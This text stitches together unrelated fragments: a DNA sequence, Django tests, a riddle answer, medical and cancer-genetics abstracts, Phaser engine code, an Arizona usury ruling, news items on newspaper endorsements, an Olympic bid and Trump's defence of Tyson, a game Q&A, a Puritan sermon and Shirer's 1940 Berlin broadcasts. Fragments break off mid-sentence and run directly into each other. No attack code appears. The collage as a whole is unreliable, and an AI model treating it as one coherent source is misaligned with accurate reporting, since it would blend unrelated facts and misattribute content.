TCTGACTCCGAAGTCAATCAAGAAGCTAAGCCAGAGGTCAAGCCAGAAGTCAAGCCTGAGACTCACATCAATTTAAAGGTGTCCGATGGATCTTCAGAGATCTTCTTCAAGATCAAAAAGACCACTCCTTTAAGAAGGCTGATGGAAGCGTTCGCTAAAAGACAGGGTAAGGAAATGGACTCCTTAAGATTCTTGTACGACGGTATTAGAATTCAAGCTGATCAGACCCCTGAAGATTTGG |
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] | [2].state))
self.assertEqual({'type': 'csmh', 'order': 3}, json.loads(history[3].state))
self.assertEqual({'type': 'csmh', 'order': 2}, json.loads(history[4].state))
self.assertEqual({'type': 'csmh', 'order': 1}, json.loads(history[5].state))
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_CSMH_EXTENDED": True})
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_READING_FROM_MULTIPLE_HISTORY_TABLES": False})
def test_get_history_true_false(self):
student_module = StudentModule.objects.all()
history = BaseStudentModuleHistory.get_history(student_module)
self.assertEqual(len(history), 3)
self.assertEqual({'type': 'csmhe', 'order': 3}, json.loads(history[0].state))
self.assertEqual({'type': 'csmhe', 'order': 2}, json.loads(history[1].state))
self.assertEqual({'type': 'csmhe', 'order': 1}, json.loads(history[2].state))
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_CSMH_EXTENDED": False})
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_READING_FROM_MULTIPLE_HISTORY_TABLES": True})
def test_get_history_false_true(self):
student_module = StudentModule.objects.all()
history = BaseStudentModuleHistory.get_history(student_module)
self.assertEqual(len(history), 3)
self.assertEqual({'type': 'csmh', 'order': 3}, json.loads(history[0].state))
self.assertEqual({'type': 'csmh', 'order': 2}, json.loads(history[1].state))
self.assertEqual({'type': 'csmh', 'order': 1}, json.loads(history[2].state))
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_CSMH_EXTENDED": False})
@patch.dict("django.conf.settings.FEATURES", {"ENABLE_READING_FROM_MULTIPLE_HISTORY_TABLES": False})
def test_get_history_false_false(self):
student_module = StudentModule.objects.all()
history = BaseStudentModuleHistory.get_history(student_module)
self.assertEqual(len(history), 0)
Q:
What am I supposed to be?
This one is probably very easy. I'm still trying to getting the hang of more complex structures :)
I hover, I freeze,
I mourn, I cry,
I move, I fade,
my color shapes your mood,
when I'm not there you feel warmth.
Alternative final line (only as an assist):
when I'm not there you feel the sun.
A:
I think it's
clouds
I hover, I freeze,
Clouds are above us thus hovering the earth
Sometimes, they produce snow and hail
I mourn, I cry,
Sometimes, they produce rain
I move, I fade,
They move with the wind, and they fade when there is no water anymore.
my color shapes your mood,
When they are grey they can make you sad, when they are red (sunrise or sunset) they make you happy
when I'm not there you feel warmth.
When they are not here, they are not in the way of the sun's warmth.
Sleep quality among patients treated with implantable atrial defibrillation therapy: effect of nocturnal shock delivery and psychological distress.
The Medtronic ICD-AT has atrial/ventricular therapies, which can be programmed to deliver atrial defibrillation during sleep, intended to potentially decrease shock anxiety/pain and lifestyle disruption. However, these shocks may diminish sleep quality. This study examined atrial shock characteristics (i.e., mode, frequency), AF symptoms, and psychological factors as determinants of sleep quality. The 96 ICD-AT patients were mostly men (72%; M age 65 +/- 12 years) and implanted for 1.6 years (SD = 0.8 years). Patients were divided into shock groups based on the proportion of mode (> or =90%) of total atrial shocks received. Patients were grouped into either automatic-nocturnal shock group (8 P.M.-8 A.M.; n = 35) or manual-awake shock group (n = 42). Psychological measures included Pittsburgh Sleep Quality Index (PSQI), Center for Epidemiology Studies-Depression Scale, State-Trait Anxiety Inventory, and Illness Intrusiveness Rating Scale. Atrial fibrillation disease burden was assessed via atrial symptom score and atrial shock use. PSQI global scores were similar between manual (7.67 +/- 2.53) and automatic shock (8.20 +/- 2.93) groups. A multiple hierarchical regression analysis indicated that no atrial shock variables were predictive of sleep quality; yet, both AF symptom (B = 0.226, P = 0.040) and depression (B = 0.392, P = 0.034) scores predicted diminished sleep quality, accounting for 42% of the variance in global sleep quality (P < 0.001). These results suggest that atrial defibrillation therapy does not have a deleterious impact on sleep. However, the significance of AF symptoms and depression indicate that comprehensive care of both physical and psychological symptomatology may improve sleep quality in ICD-AT patients./**
* @author Richard Davey <[email protected]>
* @copyright 2020 Photon Storm Ltd.
* @license {@link https://opensource.org/licenses/MIT|MIT License}
*/
var Class = require('../utils/Class');
var GetValue = require('../utils/object/GetValue');
var NOOP = require('../utils/NOOP');
var RequestAnimationFrame = require('../dom/RequestAnimationFrame');
// http://www.testufo.com/#test=animation-time-graph
/**
* @classdesc
* The core runner class that Phaser uses to handle the game loop. It can use either Request Animation Frame,
* or SetTimeout, based on browser support and config settings, to create a continuous loop within the browser.
*
* Each time the loop fires, `TimeStep.step` is called and this is then passed onto the core Game update loop,
* it is the core heartbeat of your game. It will fire as often as Request Animation Frame is capable of handling
* on the target device.
*
* Note that there are lots of situations where a browser will stop updating your game. Such as if the player
* switches tabs, or covers up the browser window with another application. In these cases, the 'heartbeat'
* of your game will pause, and only resume when focus is returned to it by the player. There is no way to avoid
* this situation, all you can do is use the visibility events the browser, and Phaser, provide to detect when
* it has happened and then gracefully recover.
*
* @class TimeStep
* @memberof Phaser.Core
* @constructor
* @since 3.0.0
*
* @param {Phaser.Game} game - A reference to the Phaser.Game instance that owns this Time Step.
* @param {Phaser.Types.Core.FPSConfig} config
*/
var TimeStep = new Class({
initialize:
function TimeStep (game, config)
{
/**
* A reference to the Phaser.Game instance.
*
* @name Phaser.Core.TimeStep#game
* @type {Phaser.Game}
* @readonly
* @since 3.0.0
*/
this.game = game;
/**
* The Request Animation Frame DOM Event handler.
*
* @name Phaser.Core.TimeStep#raf
* @type {Phaser.DOM.RequestAnimationFrame}
* @readonly
* @since 3.0.0
*/
this.raf = new RequestAnimationFrame();
/**
* A flag that is set once the TimeStep has started running and toggled when it stops.
*
* @name Phaser.Core.TimeStep#started
* @type {boolean}
* @readonly
* @default false
* @since 3.0.0
*/
this.started = false;
/**
* A flag that is set once the TimeStep has started running and toggled when it stops.
* The difference between this value and `started` is that `running` is toggled when
* the TimeStep is sent to sleep, where-as `started` remains `true`, only changing if |
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] | the continuing rights and obligations of the parties to this "sale". This instrument provided that: (1) defendant would reassign the contract to plaintiff "when the obligation has been reduced to $51,200, however, not for a period of at least six months from date;" (2) defendant was "purchasing outright the interest and the principal in connection with the above mentioned contract of sale, subject, however, to an option in favor of [plaintiff] to repurchase at any time after one year as above stated;" and (3) "the terms of the contract of sale cannot be changed, altered, or amended, sold, transferred, or conveyed, without the consent of [plaintiff]."
In June of 1956, some seven months after the above described transaction, it became necessary for plaintiff to reacquire the contract. Pursuant to plaintiff's instructions, the escrow agent paid $13,686.07 to defendant, who thereupon reassigned the instrument to plaintiff. The sum of $13,686.07 represented the following items: the $12,000 received by plaintiff from defendant; approximately 4% interest on $63,200 from the date of the purported sale of the contract; $115.20 for unearned insurance premiums, plus a small payment of interest on the latter.
On the basis of these facts, the trial court entered six conclusions of law, the essence of which is that the transaction set out above was in reality a loan rather than a sale, and that the compensation therefor received by defendant (the lender) was usurious. The court thus rendered judgment for the plaintiff in the amount of $1,570.87 the total amount of interest found to have been exacted which is in accordance with A.R.S. § 44-1202. This appeal followed.
The main contention of defendant on appeal is that, on the given facts, this transaction does not fit into the accepted definition of a usurious loan. Usury has been defined by the legislature, in A.R.S. § 44-1202, supra:
"No person shall directly or indirectly take or receive in money, goods, or things in action, or in any other way, any greater sum or any greater *390 value for the loan or forbearance of any money, goods, or things in action, than eight dollars on one hundred dollars for one year. Any person, contracting for, reserving or receiving, directly or indirectly, any greater sum or value, shall forfeit all interest."
A judicial definition was declared in Blaisdell v. Steinfeld, 15 Ariz. 155, 137 P. 555, and reaffirmed in Seargeant v. Smith, 63 Ariz. 466, 163 P.2d 680. Therein it was held:
"In deciding whether any given transaction is usurious or not, the courts will disregard the form which it may take and look only to the substance of the transaction in order to determine whether all the requisites of usury are present. These requisites are: (1) An unlawful intent; (2) the subject-matter must be money or money's equivalent; (3) a loan or forbearance; (4) the sum loaned must be absolutely, not contingently, repayable; and (5) there must be an exaction for the use of the loan of something in excess of what is allowed by law. If all these requisites are found to be present, the transaction will be condemned as usurious, whatever form it may assume, and despite any disguise it may wear. But, if any one of these requisites, is lacking, the transaction is not usurious, although it may bear the outward marks of usury." Seargeant v. Smith, 63 Ariz. 466, 468, 163 P.2d 680, 681.
The position taken by defendant appears to rest upon three specific points:
1. That this was a sale rather than a loan;
2. That the sum paid to plaintiff was not subject to the usury law, since it was contingently, not absolutely, repayable;
3. That there was no intent on the part of defendant to contravene the statute by exacting usurious interest.
Each of these points contradicts the following conclusion of law entered by the trial court, viz.:
"The transaction amounted to a loan of money, absolutely repayable, with an unlawful intent for the exaction for its use of something in excess of the amount allowed by law."
The sole question before us, then, is whether this conclusion is legally supportable upon the facts shown by the record. We shall consider defendant's three points seriatim.
1. Sale or loan. The trial court was clearly correct in its determination of this basic issue. It is unquestionably the law that a "sale" absolute on its face may be treated as a mortgage if the intention of the parties so indicates. De Wulf v. Bissell, 83 Ariz. 68, 316 P.2d 492; Rogers v. Greer, 70 Ariz. 264, 219 P.2d 760; Farrell v. West, *391 57 Ariz. 332, 113 P.2d 866; Coffin v. Green, 21 Ariz. 54, 185 P. 361; Stephen v. Patterson, 21 Ariz. 308, 188 P. 131. An examination of all the facts surrounding this escrow sale agreement manifestly reveals that the parties envisaged a security transaction rather than a sale. Evidence adduced at the trial shows that the defendant had no familiarity with the property involved, i.e., the Tempe real estate. The reassignment agreement indicates the extent to which the "seller" reserved her interest in the property. Not only was she given an option to repurchase at an advanced price (the $12,000 "sale" price plus an amount equal to 4% interest on $63,200 for one year), but it was specifically provided that the contract would revert to her after the payments thereunder (with interest on the principal amount) had reduced the principal by $12,000. Furthermore, the "buyer" bound himself as a trustee of the property conveyed; he could assert no dominion other than the receipt of the proceeds over his "purchase" without the consent of the "seller". Even defendant, in spite of his repeated protestations that this was a bona fide sale, suffered a lapse at one point and gave the following answer during direct examination by his attorney:
"Q. Was it your entire effort to make a legal transaction with as good security as you could get for the loan of your money? A. Yes."
The device of disguising a usurious loan contract as a resale with option to repurchase is not new. In Wilcox v. Moore, 354 Mich. 499, 93 N.W.2d 288, wherein a similar transaction was before the Michigan court, it was said:
"There is no need, at this late date in the law of usury (see Leviticus, XXV, 35-37; Deuteronomy XXIII, 19, 20; Saint Chrysostom's Fifth Homily on the Gospel of St. Matthew;[*] C.L. 1948, § 438.52, Stat.Ann. § 19.12) to discuss its rationale. Suffice to say that its purpose is to protect the necessitous borrower from extortion. In the accomplishment of this purpose a court must look squarely at the real nature of the transaction, thus avoiding, so far as lies within its power, the betrayal of justice by the cloak of words, the contrivances of form, or the paper tigers of the crafty. We are interested not in form or color but in nature and substance." 93 N.W.2d 291.
In addition to our own decision in De Wulf v. Bissell, supra, we find a wealth of authority from other jurisdictions to the effect that, when the intent of the parties has been to create a debtor-creditor relationship, it is immaterial that the form of *392 the transaction is a sale with option to repurchase. Tillar v. Cleveland, 47 Ark. 287, 1 S.W. 516; Cannon v. Seattle Title Trust Co., 142 Wash. 213, 252 P. 699; Fiedler v. Darrin, 50 N.Y. 437; Ferguson v. Sutphen, 8 Ill. 547; and other cases cited in note, 154 A.L.R. 1063.
This is not to say that the mere fact that a transaction in the form of a sale is accompanied by an agreement of repurchase at an advanced price renders the transaction a loan, so as to subject it to the usury law. Many such transactions are perfectly legitimate and precisely what they purport to be. Stark v. Bauer Cooperage Co., 6 Cir., 3 F.2d 214, certiorari denied 267 U.S. 604, 45 S.Ct. 464, 69 L.Ed. 809. But when, as here, the circumstances of the "sale" indicate that it was intended to be no more than a thinly disguised security transaction, the courts will not be deceived by the outward appearances. We agree with the trial court's implied holding that the assignment of the contract was solely as security for the loan to plaintiff by defendant of $12,000, and that any amounts received by defendant under the contract were to be in repayment of the principal and interest on that loan.
2. Absolutely repayable. Defendant contends the "absolutely, not contingently, repayable" requisite of a usurious loan is not met here. It is true that nowhere in the various instruments involved in this transaction is there a promise by plaintiff to make any repayment to defendant. However, defendant, in advancing this |
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] | sixth inning to seal the win. Haley Giedroc went 2-for-4 and scored three runs, and Marissa Tobias went 2-for-4 with two runs and two RBIs for Bald Eagle Area.
Makennah Dyke was perfect through three innings and pitched a complete game to earn the win.One of New York’s most influential and traditionally Democratic media organizations pulled a stunner Sunday when it reversed its 2008 endorsement of Barack Obama to join the New York Post in endorsing Mitt Romney.
“Four years ago, the Daily News endorsed Obama, seeing a historic figure whose intelligence, political skills and empathy with common folk positioned him to build on the small practical experience he would bring to the world’s toughest job,” the endorsement in part states. “We valued Obama’s pledge to govern with bold pragmatism and bipartisanship. The hopes of those days went unfulfilled.”
The endorsement also ticks off a list of reasons for why the daily tabloid is backing Romney in 2012 – including smaller paychecks, fewer jobs and higher subway fares and gasoline prices.
“America’s heart, soul, brains and muscle -- the middle- and working-class people who make this nation great -- have been beset for too long by sapping economic decline,” the editorial continues. “So, too, (have) New York breadwinners and families.”
Beyond the rhetoric, the paper backs up its decision with a salvo of numbers after the 2008 financial crisis – including a 7.9 percent national jobless rate and nine million fewer jobs.
The paper also points out the hometown crowd, with some of the most well-educated and well-paid residents in the country not spared.
The median household income for a New York family dropped by $54 a week over that period, the paper also points out.
The Daily News joins nearly a dozen other major U.S. newspapers in switching endorsements from Obama to Romney, according to the University of California, Santa Barbara’s American Presidency Project.
Only one newspaper, The San Antonio Express-News, which endorsed the Republican presidential nominee in 2008, Arizona Sen. John McCain, has switched to endorsing Obama, according the survey.
The 11 papers, according the study, that also switched to Romney are:
The New York Daily News
Long Island Newsday
Houston Chronicle
Fort Worth Star-Telegram
Orlando Sentinel
Ft. Lauderdale Sun-Sentinel
Nashville Tennessean
Des Moines Register
Illinois Daily Herald
Los Angeles Daily News
Press-Telegram -- Long Beach, Calif.Q:
Upgrade to Stone Axe in Starbound
Note: This question refers to content only found in beta. As of 1.0 stable, the stone axe is not obtainable. While pickaxes and drills still exist and can be used to cut wood, they are not craftable or upgradable and have limited use. The only upgradable tool for cutting wood is the Matter Manipulator.
I have defeated the first boss in Starbound and am roaming around in the Beta Sector. I have upgraded my pickaxe to gold, and it is working really great.
I was wondering if there are similar upgrades for the axes. Assuming that there would of course be an upgrade to axes, I crafted an Ice Axe (Human racial steel Axe), but it wouldn't chop any trees. Similarly for the Iron Axe, I came upon this in a wiki:
Although you can make an iron axe after making an iron anvil, the Iron Axe is a weapon, and not a tool for cutting trees.
Does that mean we're stuck with the Stone Axe for all our wood needs?
A:
As of the current Beta v. Enraged Koala, the only tools that can be directly upgraded are pickaxes, and their cousins, drills. The Stone Axe is the only woodcutting tool available in the game, though a chainsaw does exist in the game's files (but is unobtainable).
There are, however, a number of tool-related mods which might have something, if you want. And, there's always the possibility of just about anything being added in an update, including that chainsaw finally becoming obtainable.
If Toronto decides to make a bid on the 2024 Olympic Games, Hamilton would be "foolish" not be a part of that bid, says Canada Soccer board member Nick Bontis.
Mayor Fred Eisenberger was much more tepid about Hamilton being a part of a potential Olympic bid from Toronto, and said the city could offer up the stadium that Pan Am built, but, "in terms of raw dollars or putting money on the table, I seriously doubt it at this point."
I think we would be foolish not to be a part of any bid. - Nick Bontis, Canadian Soccer Association executive
The paint has barely dried on Pan Am Games — the West Harbour GO Station, for example, is back under construction —and questions are looming about whether or not Toronto will make a bid, due in September, for the 2024 Olympic Games.
Pouring water on Hamilton's potential involvement on that bid was Eisenberger.
"It's a completely different animal," Eisenberger said. "Olympic bids tend not to be geographic large regional bids, they tend to be municipal, large municipalities."
No money to help
"I would say Toronto might take a serious look at it. If there is a partnership opportunity, based on our new stadium facility, then maybe there's a good reason to have a chat about that," Eisenberger said. "I think the partnership could revolve around the facility we have in terms of the stadium."
He added there was no city money to help the bid along. Hamilton hosted the entire Pan Am soccer tournament. Many games at Olympic tournaments have historically been held outside the main venue site.
Canadian Olympic Committee's President Marcel Aubut, meanwhile, has said he will "absolutely lead and advocate with the whole power of my office that Toronto becomes the host city for 2024 Olympic Games."
Bontis, a McMaster University professor in addition to his executive role with Canada Soccer, said Hamilton should make sure it inserts itself into the conversation of a future games bid.
Taking advantage of stadium
"I think we would be foolish not to be a part of any bid. I think it's very, very important for us, now that we have this brand new stadium, to basically leverage the opportunities to attract as many events as possible," Bontis said. "If we don't become part of Olympic bids or world class invitations for clubs and events and musicians to come here, then we just don't take advantage of an investment that we have."
Bontis said that there are other events such as qualifying games, summer club tours for professional and national teams that Hamilton should be bidding for.
"A lot of the biggest clubs in Europe and South America, they go on summer tours. Putting our stadium as someone on the map of the inventory - you can go and play in Toronto, or you can go hand play in New York, Vancouver -- we have to add Hamilton to that list," Bontis said.When heavyweight-boxing champion Mike Tyson was convicted in 1992 of raping a beauty pageant contestant, his friend Donald Trump came to his defense — advocating for a way Tyson could avoid prison time and publicly defending the boxer's character.
As first reported by Mother Jones, Trump suggested Tyson could pay the contestant, Desiree Washington, with money from a fight to avoid serving a jail sentence, and he said of Tyson, "After knowing Mike, I don't know how it did happen."
But in video obtained by BuzzFeed News, Trump went a step further by more directly suggesting Washington wasn't a victim of rape at all.
"You have a young woman that was in his hotel room late in the evening at her own will," Trump said in an NBC Nightly News video package obtained by BuzzFeed News through the Vanderbilt University Television News Archive. "You have a young woman seen dancing for the beauty contest—dancing with a big smile on her face, looked happy as can be."
"It's my opinion that to a large extent, Mike Tyson was railroaded in this case," Trump also said in the package, which aired on Feb. 21, 1992.
Trump and Tyson's friendship goes back 30 years. Trump hosted several boxing matches featuring Tyson in the 1980s, and could have potentially made millions off a Tyson boxing match against Evander Holyfield if his Atlantic City casino landed the event. He argued at the time Tyson avoiding jail would help "far more people" by "allowing the tremendous sums of money from his fights to be put into funds used for rape victims."
Tyson was sentenced to six years in prison, and was released after serving only three.p73 gene alterations and expression in primary oral and laryngeal squamous carcinomas.
p73, a recently identified gene, maps to chromosome region 1p36.3, which is frequently deleted in a variety of solid tumors. Although the gene shares sequence and functional homologies with p53, its suppressor function has not been proven. We investigated for the first time the genetic and expression status of the p73 gene and analyzed its flanking microsatellite loci on chromosome 1p36.3 in 67 primary oral and laryngeal squamous cell carcinomas to determine their association with these tumors. Our results reveal two missense mutations at codons 469 and 477 and a silent mutation at codon 349 in the C-terminal domain. Site-directed mutagenesis |
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] | al_ 127. 1, 2, 3. _Prov._ 3. 5, 6. The strongest Christian is never more foyled, then when he goes forth in strength of gifts received, and his owne dexterity.
Thirdly, We live by faith in our vocations, in that faith, _in serving God, serves men, and in serving men, serves God:_ The Apostle sweetly describes it in the calling of servants, _Eph._ 6. 5. _to_ 8. _Not with eye service as men-pleasers, but as the servants of Christ, doing the will of God from the heart with good will, as unto the Lord, and not unto men;_ Not so much man, or onely man, but chiefly the Lord; so that this is the work of every Christian man in his calling, even then when he serves man, he serves the Lord; he doth the work set before him, and he doth it _sincerely,_ and _faithfully,_ so as he may give account for it; and he doth it _heavenly_ and _spiritually; He uses the world as if he used it not,_ 1 _Cor._ 7. 31. This is not the thing his heart is set upon, hee lookes for greater matters then these things can reach him, he doth not so much look at the world as at heaven. And therefore that which followes upon this, he doth it all _comfortably,_ though he meet with little encouragements from man, though the more faithfull service he doth, the lesse he is accepted; whereas an unbeleeving heart would be discontented, that he can finde no acceptance, but all he doth is taken in the worst part; but now if faith be working and stirring, he wil say, _I passe very litle to be judged by you, or by mans judgement,_ 1 _Cor._ 4. 3. I passe little what you say, or what you do, God knows what I have done, & so his spirit is satisfied, 1 _Thess._ 2.6. _We were tender over you, as a Nurse over her childe;_ We wrought not for wages, nor for the praise of you, if so, wee had not been the servants of Christ. A man therefore that serves Christ in serving of men, he doth his work sincerely as in Gods presence, and as one that hath an heavenly businesse in hand, and therefore comfortably as knowing God approves of his way and work.
Fourthly, Another act of faith about a mans vocation is this; It _encourageth_ a man in his calling to the most homeliest, and difficultest, and most dangerous things his calling can lead and expose himselfe to; if faith apprehend this or that to be the way of my calling, it encourages me to it, though it be never so _homely,_ and _difficult,_ and _dangerous._ Take you a carnall proud heart, and if his calling lead him to some homely businesse, he can by no meanes embrace it, such homely employments a carnall heart knowes not how to submit unto; but now faith having put us into a calling, if it require some homely employment, it encourageth us to it, he considers, It is my calling, and therefore he goes about it freely, and though never so homely, he doth it as a work of his calling, _Luke_ 15. 19. _Make mee one of thy hired servants:_ A man of his rank and breeding was not wonted to hired servile work, but the same faith that made him desirous to be in a calling, made him stoop to any work his calling led him to; there is no work too hard or too homely for him, for faith is conscious, that it hath done most base drudgery for Satan. No lust of pride, or what else so insolent, but our base hearts could be content to serve the Devil and nature in it, and therefore what drudgery can be too homely for me to doe for God? _Phil._ 2. 5, 7. _Let the same minde bee in you that was in Christ Iesus, hee made himselfe of no reputation;_ he stood not upon it, that he was borne of God, and equall to the most High, but he made himselfe a servant, and of no reputation, and so to serve God, and save men; and when his Father called him to it, he stooped to a very low employment, rose up from Supper, and girded himselfe with a Towell, and washed his Disciples feet, _Iohn_ 13. They thought it was a service too homely for him to doe, but he tells them, that even they ought thus to serve one another. So faith is ready to embrace any homely service his calling leads him to, which a carnall heart would blush to be seene in; a faithfull heart is never squeamish in this case, for repentance will make a man revenge himselfe upon himselfe, in respect of the many homely services he hath done for Satan, and so faith encourageth us to the most difficult and homely businesses. _Ezra_ 10. 4. _It is a great thing_ thou art now about, yet _arise and bee doing, for the matter belongs to thee:_ Yea, and though sometimes the work be more dangerous, yet if a man be called to it, faith dares not shrink; It was an hard point that _Herod_ was put upon, either now hee must bee prophane, or discover his hypocrisie; now therefore _Iohn_ discharged! his conscience, and though it was dangerous for him to bee so plaine, yet faith encourageth him to it; if it appeare to bee his Calling, faith doth not picke and choose, as carnall reason will doe.
Firstly, Another act of faith, by which a Christian man lives in his vocation, is, That faith _casts all the failings and burthens of his calling upon the Lord;_ that is the proper work of faith, it rolls and casts all upon him.
Now there are three sorts of burthens that befall a man in his calling.
1. _Care about the successe of it;_ and for this faith casts its care upon God, i _Pet_ 5. 7. _Pro._ 16. 3. _Commit thy workes unto the Lord, and thy thoughts shall be established, Psal._ 55. 22. 24. _Cast thy burthen upon the Lord, and he will deliver thee;_ faith will commend that wholly to God.
2. A second burthen, is _feare of danger_ that may befall us therein from the hand of man. _Luke_ 13. 31. 32. Some bids Christ goe out of the Country, for _Herod_ will kill him; what saith Christ to that? _Goe tell that foxe I must worke to day and to morrow, &c._ He casts that upon God and his calling, God hath set me a time, and while that time lasts, my calling will beare me out, and when that time is out, then I shall be perfect.
3. Another burthen, is the burthen of _injuries,_ which befalls a man in his calling. I have not hastened that evill day, Lord thou knowest; he had not wronged himselfe nor others in his calling, and therefore all the injuries that befall him in his calling, he desires the Lord to take it into his hands.
Sixtly, Faith hath another act about a mans vocation, and that is, it takes _all successes_ that befall him in his calling with _moderation,_ hee equally beares good and evill successes as God shall dispense them to him. Faith frames the heart to moderation, be they good or evill, it rests satisfied in Gods gracious dispensation; I _have learned in what estate soever I am, therewith to bee content, Phil._ 4. 11, 12. This he had learned to doe, if God prosper him, he had learned not to be puffed up, and if he should be exposed to want, he could do it without murmuring. It is the same act of unbeleefe, that makes a man murmure in crosses, which puffes him up in prosperity; now faith is like a poyse, it keeps the heart in an equall frame, whether matters fall out well or ill, faith takes them much what alike, faith moderates the frame of a mans spirit on both sides.
Seventhly, The last work which faith puts forth about a mans calling, is this, faith with boldnesse _resignes up_ his calling into the hands of God or man; when ever God calls a man to lay downe his calling, when his work is finished, herein the sons of God farre exceed the sons of men; another man when his calling comes to bee removed from him, hee is much ashamed, and much afraid, but if a Christian man be to forgoe his calling, he layes it downe with comfort and boldnesse, in the sight of God and man.
First, _In the sight of God,_ 2 Tim. 4. 7. _I have fought the fight, I have kept the faith, and finished my course,_ and therefore, _henceforth is laid up for me |
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] | concentrate off Norway because of fear of German bombers.
It may be, as some think, that the hasty British evacuation from Aandalsnes, which the German press today compares to the British withdrawal at Gallipoli, is only the first round in the battle for Norway. But the Germans certainly believe that it was a very decisive round. Today, after a little more than three weeks, they are firmly entrenched in the whole southern half of Norway, with little prospect for the Allies of driving them out soon in a straight fight.
Berlin feels then that its prestige has been enormously enhanced by the victory in Norway. I notice that the German radio this morning does not fail to point out the impression made by German arms in the neutral states nearby, in Italy, and in the United States. The New York press was quoted extensively this morning in all German broadcasts.
### **Berlin May 3, 1940 24.46**
Good Evening. This is William L. Shirer in Berlin.
Despite the German victory in the north, Norway suddenly dropped out of the German headlines tonight. Other parts of Europe where the war may break out tomorrow, or next week, or next month, claimed Berlin's attention this evening.
In the Nazi press, Mr. Chamberlain's speech, or rather his revelations that strong Allied naval forces were now concentrated in the Mediterranean, is given as the reason for Germany suddenly becoming aware of danger at other points besides Scandinavia.
You see, Great Britain, which only a few weeks ago was accused of wanting to spread the war in Scandinavia, now, suddenly this evening, is accused of wanting to spread the war elsewhere. And Berlin assures us that it is ready to take on the Allies elsewhere, or anywhere. Or, as one Wilhelmstrasse source put it tonight: "We'll get there first, just as we did in Norway."
Where? Where are these places which the controlled German press tells us tonight may see new Allied action to catch Germany in a flank, now that the Reich's northern flank has been made secure in Norway? It's worth while noting them.
First is the Mediterranean, but that depends upon what Italy does. But Berlin says there are other places which more directly concern her, the Balkans, Romania – Romanian oil.
But perhaps, suggest the Berlin papers tonight with one accord, the Allies are not thinking exclusively of action in the south or south-east, but of somewhere else. Just where, the press does not say. My guess is that it is thinking of perhaps Holland.
Significant in all this new Nazi press talk, which, as I say, came very suddenly this evening, is the suggestion that the war may be even further extended, and soon. Of course, the blame is put on England. Listen to these headlines in the Berlin press tonight – the _Völkischer Beobachter_ : WHICH NATION WILL ENGLAND NEXT BRING BAD LUCK TO? Or the _Deutsche Allgemeine Zeitung_ : ENGLAND'S NEW AGGRESSIVE DESIGNS. Or the _Börsen Zeitung_ : WHERE WILL ENGLAND ATTACK NOW?
The point is that these headlines, and other things, put people to thinking that the next days or weeks – or if you're an optimist – months, may well see this European war spreading all over the map. Well, as a policeman put it to me today, there may be one consolation in that. If the war does spread all over, it won't last so long.
I said that the German feat in driving the British out of southern Norway had been shunted to the inside pages even here. True. But you must not overlook the fact that the German military victory in Norway has greatly bucked up the morale of the people in this country, and no doubt too strengthened the determination of the leaders to win this war – if possible while things are going good. First in Poland, then in Norway, the German army has proved invincible, and that heartens the people.
Another thing, the German air force has apparently justified the confidence which Berlin had in it to keep the British fleet from operating effectively in Scandinavia. Had the British navy been able to get into Skagerrak and shut off the supplies going to Oslo, there would have been none of those tanks and artillery which made the drive to Trondheim such a walk-away.
The German radio tonight aired the report from Stockholm that the Allies were withdrawing also from Namsos, but the German High Command has not yet confirmed that.
### **Berlin May 4,
1940 14.00**
Good Morning. This is William L. Shirer in Berlin.
Suddenly, since last night, the German press is talking of only one thing: the spreading of the war to still other parts of Europe. I don't mean to say that the Germans are saying they intend themselves to march into this or that country. What they say is that the British are planning some aggression somewhere and that of course Germany will be ready to act wherever it may be, just as it did in Denmark and Norway. The point the Germans make is that they intend to get there first, wherever it may be.
All over the Mediterranean and the Balkans, the German press professes suddenly to see the danger signs. Under a general headline ENGLAND'S NEW PLAN FOR ATTACK, the _Völkischer Beobachter_ , official Nazi organ, runs dispatches from various key points with headlines such as these: ALARMING ANGLO-FRENCH REPORTS FROM EGYPT – ALLIED FLEET ORDERED TO ALEXANDRIA – WAR PANIC IN EGYPT – TURKISH TROOP MOVEMENTS NEAR THE DODECANESE – (the Dodecanese Islands are owned by Italy, remember.) Other Berlin papers play up headlines like these: NERVOUSNESS IN THE BALKANS – ATHENS TROUBLED – PANIC FEELING IN SALONIKI – SOFIA SPEAKS OF SURPRISE MOVES AND IS NERVOUS – ALEXANDRIA AWAITS REINFORCEMENTS – ALLIED PRESSURE ON ITALY. And so on. And all this only since last night.
It leaves people here wondering where the next blow is to fall. There seem to be so many possibilities.
The German High Command has just announced that a squadron of its bombers sank a British battleship off Namsos yesterday afternoon. It relates that the war vessel was attacked by dive-bombers, and that a heavy bomb hit the deck between the two fore gun-turrets. According to the German Command, a half a minute after the bomb struck, there was a tremendous column of smoke seen to belch forth 1,500 feet high. After the smoke blew away, says the communiqué, there was nothing to be seen of the ship except a bit of wreckage.
It's certainly difficult for Americans to get at the truth about these naval losses on both sides in the Norwegian campaign. The Germans admit only a fraction of the losses which the British say they've suffered, and the British do not agree with the Germans about British losses by a long way.
If you take English naval casualties as we've been given them by the German High Command since that morning on April 9th when the Nazis lit into Norway, they add up to the truly astonishing total of 135 ships, of which, according to the Germans, seventy-eight were sunk or set afire, and fifty-seven badly or slightly damaged.
If the German figures could be checked and proved to be true, then about half of the battleships of the British navy, and about a third of its cruisers have been put out of action, and it is difficult to see how Britain can spare so many ships for the Mediterranean right now.
### **Berlin May 5, 1940 01.02**
Good Evening. This is William L. Shirer in Berlin.
So far as the Germans are concerned, the Norwegian campaign is over. And people here naturally feel pretty good about it. In a little more than three weeks, the German army overran the most important part of Norway and drove an Allied army – or what there was of it – to flight. Mopping up operations will presumably take a few days more. And German forces at Narvik are being hard-pressed. But the main fight is over.
What it cost Herr Hitler in loss of life, we don't know yet. No hint of the extent of the casualties has been given up until now. Nor has Berlin yet revealed exactly how much its navy suffered, beyond the loss of two cruisers and the destroyers at Narvik.
Studying the lessons of the brief campaign, the Germans say the conquest of Norway has given them one strategic advantage, and confirmed another.
The strategic advantage is of course that it gives them airbases and submarine bases much nearer Scapa Flow and Scotland than they had before. Their north flank is protected, they say. And Great Britain is cut off from valuable Scandinavian supplies, especially timber and ore.
Probably more important to the German High Command is a certain strategic theory which Berlin feels has been confirmed by the Norwegian campaign – namely that the once all-powerful British fleet is useless in offensive operations within the radius controlled by the German air force. And since Friday, when the Germans claim that one of their dive-bombers sank a British battleship, they rather think that the old controversy about the superiority of the battleship or the airplane has been settled in favor of the latter. If the German claim that a British battleship was sunk is |
